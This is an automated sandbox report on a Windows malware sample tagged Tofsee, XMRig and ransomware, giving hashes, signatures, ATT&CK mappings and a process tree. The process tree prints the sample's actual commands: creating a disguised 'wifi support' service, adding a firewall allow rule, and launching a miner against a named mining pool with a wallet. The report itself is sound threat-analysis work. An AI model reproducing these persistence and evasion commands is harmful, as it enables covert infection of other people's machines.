Overview

overview

10

Static

static

supvobl.bin.exe

windows7_x64

10

supvobl.bin.exe

windows10_x64

10

Resubmissions

01-02-2021 14:02

210201-771fzecnc2 10

01-02-2021 13:56

210201-vkzvf8gj2n 10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    01-02-2021 14:02

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General

  • Target

    supvobl.bin.exe

  • Size

    12.5MB

  • MD5

    be286c784044379ca9a6ca6e7211a29f

  • SHA1

    bf8010a0e4b7ae88095bd9ee303707f4c0da549e

  • SHA256

    d05cd710559cb6a23a84f44bfe88b91582862c7d70134cf71807ae0c49964993

  • SHA512

    862e1beffa2cd58cd606a9edf2be79a03ca4a93f2edd6528e91eed2f68ad889e2e76dd43f164cd8f7eb02567504cbcf9581f730177f841a3e5a0298b48674b13

Score
10/10
tofseexmrigevasionminerpersistenceransomwaretrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    ransomware
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\supvobl.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\supvobl.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4688
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xlrltmnu\
      2⤵
        PID:4160
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\okcczonb.exe" C:\Windows\SysWOW64\xlrltmnu\
        2⤵
          PID:4108
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create xlrltmnu binPath= "C:\Windows\SysWOW64\xlrltmnu\okcczonb.exe /d\"C:\Users\Admin\AppData\Local\Temp\supvobl.bin.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3756
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description xlrltmnu "wifi internet conection"
            2⤵
              PID:4236
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start xlrltmnu
              2⤵
                PID:572
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:676
              • C:\Windows\SysWOW64\xlrltmnu\okcczonb.exe
                C:\Windows\SysWOW64\xlrltmnu\okcczonb.exe /d"C:\Users\Admin\AppData\Local\Temp\supvobl.bin.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:900
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1164
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3792

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\okcczonb.exe
                MD5

                a046e83e5e7f2bca0746fb4296160e7b

                SHA1

                d6533b867132e41c45218a5a833f0646ac2c3517

                SHA256

                07ffc31170055a8f8dd7a91dd2dd1ab44a7f838173caa75fd522b76c22bf4819

                SHA512

                8805a1af65c8fdf1d9f2eb2c6f63ea0a541bbe5af81ae71df525dd5751baa67fcc96c4225a66106fd7353e32e47547f15875ac935a457a1507bac8ce09f5e222

                Download Submit
              • C:\Windows\SysWOW64\xlrltmnu\okcczonb.exe
                MD5

                a046e83e5e7f2bca0746fb4296160e7b

                SHA1

                d6533b867132e41c45218a5a833f0646ac2c3517

                SHA256

                07ffc31170055a8f8dd7a91dd2dd1ab44a7f838173caa75fd522b76c22bf4819

                SHA512

                8805a1af65c8fdf1d9f2eb2c6f63ea0a541bbe5af81ae71df525dd5751baa67fcc96c4225a66106fd7353e32e47547f15875ac935a457a1507bac8ce09f5e222

                Download Submit
              • memory/572-10-0x0000000000000000-mapping.dmp
                Download
              • memory/676-13-0x0000000000000000-mapping.dmp
                Download
              • memory/900-12-0x0000000003380000-0x0000000003381000-memory.dmp
                Filesize

                4KB

                Download
              • memory/1164-14-0x0000000002D10000-0x0000000002D25000-memory.dmp
                Filesize

                84KB

                Download
              • memory/1164-15-0x0000000002D19A6B-mapping.dmp
                Download
              • memory/3756-8-0x0000000000000000-mapping.dmp
                Download
              • memory/3792-19-0x00000000024F0000-0x00000000025E1000-memory.dmp
                Filesize

                964KB

                Download
              • memory/3792-21-0x000000000258259C-mapping.dmp
                Download
              • memory/4108-6-0x0000000000000000-mapping.dmp
                Download
              • memory/4160-5-0x0000000000000000-mapping.dmp
                Download
              • memory/4236-9-0x0000000000000000-mapping.dmp
                Download
              • memory/4688-3-0x00000000001C0000-0x00000000001D3000-memory.dmp
                Filesize

                76KB

                Download
              • memory/4688-4-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

                Download
              • memory/4688-2-0x00000000034A0000-0x00000000034A1000-memory.dmp
                Filesize

                4KB

                Download